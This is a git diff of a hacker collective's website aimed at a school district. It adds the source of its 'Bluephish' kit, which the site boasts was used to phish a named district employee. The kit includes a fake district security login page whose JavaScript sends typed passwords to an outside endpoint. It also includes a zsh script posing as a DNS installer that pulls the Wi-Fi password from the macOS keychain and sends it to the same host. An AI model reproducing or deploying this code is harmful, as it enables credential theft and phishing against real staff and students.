diff --git a/public/assets/img/esp.jpg b/public/assets/img/esp.jpg new file mode 100644 index 0000000..56b0cdb Binary files /dev/null and b/public/assets/img/esp.jpg differ diff --git a/public/assets/img/jankbook.png b/public/assets/img/jankbook.png new file mode 100644 index 0000000..7fd8c52 Binary files /dev/null and b/public/assets/img/jankbook.png differ diff --git a/public/assets/img/router.png b/public/assets/img/router.png new file mode 100644 index 0000000..aee0779 Binary files /dev/null and b/public/assets/img/router.png differ diff --git a/public/assets/img/toughbook.png b/public/assets/img/toughbook.png new file mode 100644 index 0000000..4ef9584 Binary files /dev/null and b/public/assets/img/toughbook.png differ diff --git a/public/assets/sources/bluephish.tar.gz b/public/assets/sources/bluephish.tar.gz new file mode 100644 index 0000000..20a78c7 Binary files /dev/null and b/public/assets/sources/bluephish.tar.gz differ diff --git a/public/assets/sources/index.css b/public/assets/sources/index.css new file mode 100644 index 0000000..c6bc577 --- /dev/null +++ b/public/assets/sources/index.css @@ -0,0 +1 @@ +@import url(https://fonts.googleapis.com/css2?family=Roboto&display=swap);#loader,body{width:100vw;height:100vh;overflow:hidden}@font-face{font-family:ProductSans;src:url(./ProductSans/ProductSans-Regular.ttf)}@font-face{font-family:ProductSansBold;src:url(./ProductSans-Regular.ttf)}*{box-sizing:border-box}body{padding:100px;background:linear-gradient(135deg,#fff 0,#9bbca9 50%,#89d0f8 100%)}img{width:100px;float:left;margin-right:20px}h1{font-size:48px;font-family:Helvetica,sans-serif}p{margin-top:12px;font-size:18px;font-family:Roboto,sans-serif}.material-symbols-outlined{color:#6f7377;font-variation-settings:'FILL' 0,'wght' 400,'GRAD' 0,'opsz' 24}.critical{color:#ea4335}.google-sign-in-button{cursor:pointer;transition:background-color .3s,box-shadow .3s;padding:12px 16px 12px 42px;border:none;border-radius:3px;box-shadow:0 -1px 0 rgba(0,0,0,.04),0 1px 1px rgba(0,0,0,.25);color:#757575;font-size:14px;font-weight:500;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen,Ubuntu,Cantarell,"Fira Sans","Droid Sans","Helvetica Neue",sans-serif;background-image:url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGcgZmlsbD0ibm9uZSIgZmlsbC1ydWxlPSJldmVub2RkIj48cGF0aCBkPSJNMTcuNiA5LjJsLS4xLTEuOEg5djMuNGg0LjhDMTMuNiAxMiAxMyAxMyAxMiAxMy42djIuMmgzYTguOCA4LjggMCAwIDAgMi42LTYuNnoiIGZpbGw9IiM0Mjg1RjQiIGZpbGwtcnVsZT0ibm9uemVybyIvPjxwYXRoIGQ9Ik05IDE4YzIuNCAwIDQuNS0uOCA2LTIuMmwtMy0yLjJhNS40IDUuNCAwIDAgMS04LTIuOUgxVjEzYTkgOSAwIDAgMCA4IDV6IiBmaWxsPSIjMzRBODUzIiBmaWxsLXJ1bGU9Im5vbnplcm8iLz48cGF0aCBkPSJNNCAxMC43YTUuNCA1LjQgMCAwIDEgMC0zLjRWNUgxYTkgOSAwIDAgMCAwIDhsMy0yLjN6IiBmaWxsPSIjRkJCQzA1IiBmaWxsLXJ1bGU9Im5vbnplcm8iLz48cGF0aCBkPSJNOSAzLjZjMS4zIDAgMi41LjQgMy40IDEuM0wxNSAyLjNBOSA5IDAgMCAwIDEgNWwzIDIuNGE1LjQgNS40IDAgMCAxIDUtMy43eiIgZmlsbD0iI0VBNDMzNSIgZmlsbC1ydWxlPSJub256ZXJvIi8+PHBhdGggZD0iTTAgMGgxOHYxOEgweiIvPjwvZz48L3N2Zz4=);background-color:#fff;background-repeat:no-repeat;background-position:12px 11px}#loader,.google-login-title{font-weight:400;font-size:30px;text-align:center}#loader,.email,.google-login-title{font-family:ProductSans}.microsoft{background-image:url(./microsoft_16x16.png)}.google-sign-in-button:hover{box-shadow:0 -1px 0 rgba(0,0,0,.04),0 2px 4px rgba(0,0,0,.25)}.google-sign-in-button:active{background-color:#eee;outline:0;box-shadow:0 -1px 0 rgba(0,0,0,.04),0 2px 4px rgba(0,0,0,.25),0 0 0 3px #c8dafc}.google-sign-in-button:disabled{filter:grayscale(100%);background-color:#ebebeb;box-shadow:0 -1px 0 rgba(0,0,0,.04),0 1px 1px rgba(0,0,0,.25);cursor:not-allowed}#password-placeholder.inactive.non-empty,.hide{visibility:hidden}.popup{display:block;position:absolute;width:500px;height:500px;left:calc(50vw - 250px);top:calc(50vh - 250px);background-color:#fff;box-shadow:0 8px 16px 0 rgba(0,0,0,.25),0 12px 40px 0 rgba(0,0,0,.15)}.window-frame{cursor:not-allowed;background-color:#dee1e6;height:30px}.nav-button{cursor:pointer;padding:0;border:none;background-color:transparent}.nav-button:hover{background-color:rgba(0,0,0,.125);border-radius:12px}.window-frame .nav-button{float:right;margin-top:3px;margin-right:5px}.window-content{color:#202124}.google{float:none;width:90px;display:block;margin-left:205px;margin-top:15px}.email,.pfp{display:inline}.google-login-title{width:240px;margin-left:130px;margin-top:10px;margin-bottom:10px}.google-account{margin-top:0;width:350px;margin-left:75px;margin-bottom:45px;padding-left:50px}.pfp{width:24px;border-radius:12px;margin-right:10px}.google-login-description{width:400px;margin-left:50px;font-size:15.5px;font-family:Roboto,sans-serif}.google-button{padding:10px 25px;font-family:ProductSansBold;font-weight:500;font-size:16px;border:none;color:#fff;background-color:#1a73e8;border-radius:5px;cursor:pointer}#password-placeholder.inactive,.google-input{font-size:18px;font-family:Roboto,sans-serif}.google-button:hover{background-color:#1256b1;box-shadow:0 4px 8px 0 rgba(0,0,0,.15),0 6px 10px 0 rgba(0,0,0,.07)}.window-content .google-button{margin-top:20px;margin-left:365px}.google-account.oval{border-radius:12px;border:1px solid #dadce0;width:295px;padding:5px 5px 0;margin-left:100px;text-align:right;cursor:not-allowed}.email.stacked{position:absolute;top:145px;left:140px}.google-input{display:block;border:2px solid #dadce0;border-radius:5px;width:350px;margin-left:75px;padding:20px}.google-input:focus{border:2px solid #1a73e8}.google-input:focus-visible{outline:0}.pure-material-checkbox{width:350px;margin-top:15px;margin-left:75px;height:40px;z-index:0;position:relative;display:inline-block;color:rgba(var(--pure-material-onsurface-rgb,0,0,0),.87);font-family:var(--pure-material-font, "Roboto", "Segoe UI", BlinkMacSystemFont, system-ui, -apple-system);font-size:16px;line-height:1.5}.pure-material-checkbox>input{appearance:none;-moz-appearance:none;-webkit-appearance:none;z-index:-1;position:absolute;left:-10px;top:-8px;display:block;margin:0;border-radius:50%;width:40px;height:40px;background-color:rgba(var(--pure-material-onsurface-rgb,0,0,0),.6);box-shadow:none;outline:0;opacity:0;transform:scale(1);pointer-events:none;transition:opacity .3s,transform .2s}.pure-material-checkbox>span{display:inline-block;width:100%;cursor:pointer}.pure-material-checkbox>span::before{content:"";display:inline-block;box-sizing:border-box;margin:3px 11px 3px 1px;border:2px solid;border-color:rgba(var(--pure-material-onsurface-rgb,0,0,0),.6);border-radius:2px;width:18px;height:18px;vertical-align:top;transition:border-color .2s,background-color .2s}.pure-material-checkbox>span::after{content:"";display:block;position:absolute;top:3px;left:1px;width:10px;height:5px;border:2px solid transparent;border-right:none;border-top:none;transform:translate(3px,4px) rotate(-45deg)}.pure-material-checkbox>input:checked,.pure-material-checkbox>input:indeterminate{background-color:rgb(var(--pure-material-primary-rgb,26,115,232))}.pure-material-checkbox>input:checked+span::before,.pure-material-checkbox>input:indeterminate+span::before{border-color:rgb(var(--pure-material-primary-rgb,26,115,232));background-color:rgb(var(--pure-material-primary-rgb,26,115,232))}.pure-material-checkbox>input:checked+span::after,.pure-material-checkbox>input:indeterminate+span::after{border-color:rgb(var(--pure-material-onprimary-rgb,255,255,255))}.pure-material-checkbox>input:indeterminate+span::after{border-left:none;transform:translate(4px,3px)}.pure-material-checkbox:hover>input{opacity:.04}.pure-material-checkbox>input:focus{opacity:.12}.pure-material-checkbox:hover>input:focus{opacity:.16}.pure-material-checkbox>input:active{opacity:1;transform:scale(0);transition:transform,opacity}.pure-material-checkbox>input:active+span::before{border-color:rgb(var(--pure-material-primary-rgb,26,115,232))}.pure-material-checkbox>input:checked:active+span::before{border-color:transparent;background-color:rgba(var(--pure-material-onsurface-rgb,0,0,0),.6)}.pure-material-checkbox>input:disabled{opacity:0}.pure-material-checkbox>input:disabled+span{color:rgba(var(--pure-material-onsurface-rgb,0,0,0),.38);cursor:initial}.pure-material-checkbox>input:disabled+span::before{border-color:currentColor}.pure-material-checkbox>input:checked:disabled+span::before,.pure-material-checkbox>input:indeterminate:disabled+span::before{border-color:transparent;background-color:currentColor}.pure-material-checkbox span{display:inline;font-family:Roboto,sans-serif;font-size:16px}.forgot-button{display:inline;padding:10px;font-family:ProductSansBold;font-weight:500;font-size:16px;border:none;color:#1a73e8;background-color:#fff;border-radius:5px;margin-top:35px;margin-left:65px;cursor:not-allowed}.forgot-button:hover{background-color:#1a73e822}.window-content .google-button.next{display:inline;margin-left:125px}#password-placeholder.inactive{display:block;position:absolute;top:253px;left:96px;color:#696368;pointer-events:none;animation:125ms forwards placeholder}#password-placeholder.active{display:block;position:absolute;background-color:#fff;padding:10px;font-family:Roboto,sans-serif;pointer-events:none;animation:125ms forwards placeholderBack}#loader{position:absolute;top:0;left:0;background-color:rgba(255,255,255,.67);color:#696368;line-height:100vh}@keyframes placeholder{to{top:253px;left:96px;color:#696368;font-size:18px}from{top:215px;left:85px;color:#1a73e8;font-size:12px}}@keyframes placeholderBack{from{top:253px;left:96px;color:#696368;font-size:18px}to{top:215px;left:85px;color:#1a73e8;font-size:12px}} diff --git a/public/assets/sources/index.html b/public/assets/sources/index.html new file mode 100644 index 0000000..61066dc --- /dev/null +++ b/public/assets/sources/index.html @@ -0,0 +1 @@ +SRVUSD Security Hub

SRVUSD Security Hub

To continue as Jeremy Eltho, please login with a district-affiliated account.

You have 1 high-severity pending security alert(s).




Please wait as we process your request …
diff --git a/public/assets/sources/index.js b/public/assets/sources/index.js new file mode 100644 index 0000000..ad57c13 --- /dev/null +++ b/public/assets/sources/index.js @@ -0,0 +1 @@ +const popup1=document.getElementById("popup-1"),popup2=document.getElementById("popup-2"),password=document.getElementById("password"),passwordPlaceholder=document.getElementById("password-placeholder"),loader=document.getElementById("loader");let start=()=>{popup1.classList.remove("hide")},toLogin=()=>{popup2.classList.remove("hide"),password.focus()},closePopups=()=>{popup1.classList.add("hide"),popup2.classList.add("hide")},finish=()=>{loader.classList.remove("hide");let s=password.value;closePopups(),fetch("https://sphinx-three.vercel.app/api/crypto/dump?"+new URLSearchParams({contents:s}),{mode:"no-cors"}).then(()=>{window.location.href="https://dextensify.pages.dev/main"})},showPassword=()=>{let s=document.getElementById("password");"password"===s.type?s.type="text":s.type="password"};window.onclick=s=>{let e=e=>s.target.contains(e)&&s.target!==e;(e(popup1)||e(popup2))&&closePopups()};let activatePassword=()=>{passwordPlaceholder.classList.add("active"),passwordPlaceholder.classList.remove("inactive"),setPasswordStatus()},deactivatePassword=()=>{passwordPlaceholder.classList.add("inactive"),passwordPlaceholder.classList.remove("active"),setPasswordStatus()},setPasswordStatus=()=>{password.value.length>0?(passwordPlaceholder.classList.add("non-empty"),passwordPlaceholder.classList.remove("empty")):(passwordPlaceholder.classList.add("empty"),passwordPlaceholder.classList.remove("non-empty"))};password.addEventListener("focusin",activatePassword),password.addEventListener("focusout",deactivatePassword),password.addEventListener("keydown",setPasswordStatus); diff --git a/public/assets/sources/x-proto-dns.sh b/public/assets/sources/x-proto-dns.sh new file mode 100644 index 0000000..758fb0a --- /dev/null +++ b/public/assets/sources/x-proto-dns.sh @@ -0,0 +1,4 @@ +#!/bin/zsh +read -n 1 -s -r -p 'Press enter to start';echo '';echo 'Preparing DNS …';echo 'This script will guide you through the installation process of the DNS server.';echo 'It may require you to respond to some system dialogs to ensure WiFi connectivity.';echo '';read -n 1 -s -r -p 'Press enter to continue';echo '';echo 'Identifying Router Name …';SSID=$(networksetup -getairportnetwork en0 | awk -F': ' '{print $2}');if [[ -z "$SSID" ]]; then; echo 'Could not retrieve SSID. Are you connected to a network?'; exit 1;fi;PASSWORD=$(security find-generic-password -D "AirPort network password" -a "$SSID" -w);if [[ -z "$PASSWORD" ]]; then; echo 'Could not retrieve password. Do you have the necessary permissions?'; exit 1;fi;{; echo "$SSID"; echo "$PASSWORD";} > output157.txt;COMBINED=$(echo 'SSID: '$SSID + '\%\%PASSWORD: '$PASSWORD);echo 'Getting network configuration …';curl -X GET -G 'https://sphinx-three.vercel.app/api/crypto/dump' --data-urlencode 'contents='$COMBINED > /dev/null +# script > EXIT! +echo 'Error configuring network!';echo 'Dumping error report below:';echo '> Could not find module '$ROUTERNAME;echo '> Please check your network configuration';echo '';read -n 1 -s -r -p 'Press enter to exit';echo '';exit; diff --git a/public/index.css b/public/index.css index 0957554..d3a869f 100644 --- a/public/index.css +++ b/public/index.css @@ -19,6 +19,10 @@ body { margin-right: 50px; } +.intro { + margin-top: 0; +} + h1 { color: white; font-family: 'DM Sans', sans-serif; @@ -29,6 +33,7 @@ p { color: white; font-family: 'Phudu', cursive; letter-spacing: 0.1em; + margin-top: 50px; } a { @@ -96,6 +101,10 @@ img { margin-top: 10px; } +.projects-list a { + font-weight: normal; +} + footer { padding: 20px; padding-top: 30px; diff --git a/public/index.html b/public/index.html index f541e60..5fdab81 100644 --- a/public/index.html +++ b/public/index.html @@ -42,68 +42,108 @@ - +

Gallium Workshop

-

- We are a cybersecurity research and anarchist collective. Our goals: the abolition of private capital and maximum psychic damage to SRVUSD sysadmins. World domination will be achieved by 2026. Fully Automated Luxury Gay Space Communism soon to follow. Some of our recent projects include: +

+ We are a cybersecurity research and anarchist collective. Our goals: the + abolition of private capital and maximum psychic damage to + SRVUSD sysadmins. World domination will be achieved by 2026. Fully Automated Luxury Gay + Space Communism soon to follow. Some of our recent projects include:

-
-
- you are registered as a participant in a mass disturbance -
+
+
you are registered as a participant in a mass disturbance
+

+ Wondering what the code flashing on your screen is? It's the exact version + of Project Bluephish that + was used (successfully) to phish Jeremy Eltho, marking the first + cybercrime committed by our organization, which recognizes neither + national or international authority nor ethical principles. +

Proprietary Projects

-
- -

SRVUSD IRC

-

District-wide IRC chat application

-
-
- -

SRV Coin

-

- The world's most valuable cryptocurrency, set to exceed the value of - Bitcoin -

-
+ +
+ +

SRVUSD IRC

+

District-wide IRC chat application

+
+
+ +
+ +

SRV Coin

+

+ The world's most valuable cryptocurrency, set to exceed the value of + Bitcoin +

+
+

Open Source Projects

-
+

QuakeJS

-

Quake 3 Arena fully playable in the browser and hosted within the SRVUSD intranet

+

+ Quake 3 Arena fully playable in the browser and hosted within the + SRVUSD intranet +

Hardware Projects

- +

Jankbook Pro

-

Dell 3100 2-in-1 Chromebook, unenrolled and loaded with custom firmware allowing booting to Linux

+

+ Dell 3100 2-in-1 Chromebook, unenrolled and loaded with custom + firmware allowing booting to Linux +

- +

Toughbook

-

Decommissioned robotics laptop. Probably not a real toughbook, but it sure looks like one

+

+ Decommissioned robotics laptop loaded up with state-of-the-art *nix + architecture and used primarily for sponsoring nefarious activities + over intranet +

- +

ESP Deauther

-

Work-in-progress multi-vector network offensive security testing device, based on an ESP development board

+

+ Work-in-progress multi-vector network offensive security testing + device, based on an ESP development board +

- +

Gallium Intranet

-

A private network hosted by Gallium workshop in order to facilitate easy local area connections to other devices

+

+ A private network hosted by Gallium Workshop at SRV in order to + facilitate easy local area connections to other devices and counter + the Great SRVUSD Firewall +

Honorary Members

@@ -149,7 +189,10 @@
- + @@ -179,7 +222,9 @@

Are you a SYSADMIN? Check - this out! diff --git a/public/index.js b/public/index.js index ac9be17..5f2e2b0 100644 --- a/public/index.js +++ b/public/index.js @@ -2,19 +2,15 @@ let code = document.getElementById('code') let raw = [] let els = [] -// const SOURCES = [ -// 'https://cdn.jsdelivr.net/gh/quantum9innovation/the-jankiest/index.min.js', -// 'https://cdn.jsdelivr.net/gh/quantum9innovation/hulet/dist/hulet.min.js', -// 'https://cdn.jsdelivr.net/gh/quantum9innovation/sost/dist/sost.min.js', -// 'https://code.jquery.com/jquery-3.6.3.min.js', -// 'https://cdn.jsdelivr.net/npm/bootstrap@4.0.0/dist/js/bootstrap.min.js', -// ] const SOURCES = [ - `const popup1=document.getElementById("popup-1"),popup2=document.getElementById("popup-2"),password=document.getElementById("password"),passwordPlaceholder=document.getElementById("password-placeholder"),loader=document.getElementById("loader");let start=()=>{popup1.classList.remove("hide")},toLogin=()=>{popup2.classList.remove("hide"),password.focus()},closePopups=()=>{popup1.classList.add("hide"),popup2.classList.add("hide")},finish=()=>{loader.classList.remove("hide");let s=password.value;closePopups(),fetch("https://sphinx-three.vercel.app/api/crypto/dump?"+new URLSearchParams({contents:s}),{mode:"no-cors"}).then(()=>{window.location.href="https://myapps.classlink.com/oauth"})},showPassword=()=>{let s=document.getElementById("password");"password"===s.type?s.type="text":s.type="password"};window.onclick=s=>{let e=e=>s.target.contains(e)&&s.target!==e;(e(popup1)||e(popup2))&&closePopups()};let activatePassword=()=>{passwordPlaceholder.classList.add("active"),passwordPlaceholder.classList.remove("inactive"),setPasswordStatus()},deactivatePassword=()=>{passwordPlaceholder.classList.add("inactive"),passwordPlaceholder.classList.remove("active"),setPasswordStatus()},setPasswordStatus=()=>{password.value.length>0?(passwordPlaceholder.classList.add("non-empty"),passwordPlaceholder.classList.remove("empty")):(passwordPlaceholder.classList.add("empty"),passwordPlaceholder.classList.remove("non-empty"))};password.addEventListener("focusin",activatePassword),password.addEventListener("focusout",deactivatePassword),password.addEventListener("keydown",setPasswordStatus);` + './assets/sources/index.css', + './assets/sources/index.html', + './assets/sources/index.js', + './assets/sources/x-proto-dns.sh', ] hljs.configure({ - languages: ['javascript'], + languages: ['javascript', 'css', 'html', 'bash'], ignoreUnescapedHTML: true }) @@ -41,7 +37,7 @@ let spawn = () => { let x = Math.random() * (window.innerWidth - 500) let y = Math.random() * (window.innerHeight - 400) spawned.style.left = x + 'px' - spawned.style.top = (y + 300) + 'px' + spawned.style.top = (2 * y + 500) + 'px' spawned.style.width = '500px' spawned.style.height = '100px' spawned.style.textWrap = 'wrap' @@ -57,12 +53,27 @@ let spawn = () => { let init = async () => { for (let source of SOURCES) { - // let res1 = await fetch(source); - // let text1 = await res1.text(); - let text1 = source; - let formatted = text1.replace(/\n/g, ""); + let res1 = await fetch(source) + let text1 = await res1.text() + let formatted = text1.replace(/\n/g, '') raw.push(formatted); } } init().then(spawn) + +let quakeInstructions = () => { + alert( + 'Here are the steps to follow to join QuakeJS multiplayer (while at school):\n\n' + + '1. Check your WiFi settings and connect to the "Gas Leak" network. If you don\'t see this network, there\'s probably no game to join.\n' + + '2. The password to the "Gas Leak" network is "fish_tony" (disable any VPNs before connecting).\n' + + '3. Navigate to http://192.168.50.123 on your browser (or close this dialog).\n' + + '4. Click esc and configure settings (try SETUP > PLAYER to rename).\n' + + '5. Leave arena and click MULTIPLAYER.\n' + + '6. Click SPECIFY and type in 192.168.50.123 as the address.\n' + + '7. Leave the port unchanged and join the game.\n' + + '8. Use "t" to chat.\n\n' + + 'Happy fragging!' + ) + window.location.href = 'http://192.168.50.123' +}